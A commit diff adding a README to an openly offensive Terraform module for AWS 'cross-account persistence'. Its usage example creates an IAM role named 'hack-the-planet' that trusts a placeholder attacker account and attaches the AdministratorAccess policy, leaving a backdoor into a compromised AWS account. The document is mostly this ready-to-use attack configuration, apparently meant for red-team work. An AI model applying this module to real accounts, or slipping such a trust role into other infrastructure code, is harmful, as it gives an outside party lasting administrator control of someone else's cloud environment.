Add module usage

Author: iganbold

README.md

@@ -1 +1,26 @@
-# terraform-aws-cross-account-persistence
+# AWS Cross Account Persistence
+
+![OffensiveTerraform](https://img.shields.io/badge/hack-success)
+![OffensiveTerraform](https://img.shields.io/badge/offensive-terraform-blueviolet)
+![OffensiveTerraform](https://img.shields.io/badge/aws-important)
+
+Offensive Terraform module which creates an IAM role with trust relationship with attacker's AWS account and attaches managed IAM Policy to an IAM role.
+
+![Attack Diagram](https://raw.githubusercontent.com/offensive-terraform/terraform-aws-cross-account-persistence/master/diagram.jpg)
+
+## Usage
+```
+module "cross-account-persistence" {
+  source  = "offensive-terraform/cross-account-persistence/aws"
+
+  role_name           = "hack-the-planet"
+  policy_arn          = "arn:aws:iam::aws:policy/AdministratorAccess"
+  attacker_account_id = "000000000000"
+}
+
+output "role_arn" {
+  value = module.cross-account-persistence.role_arn
+}
+```
+## Author
+Module managed by https://github.com/iganbold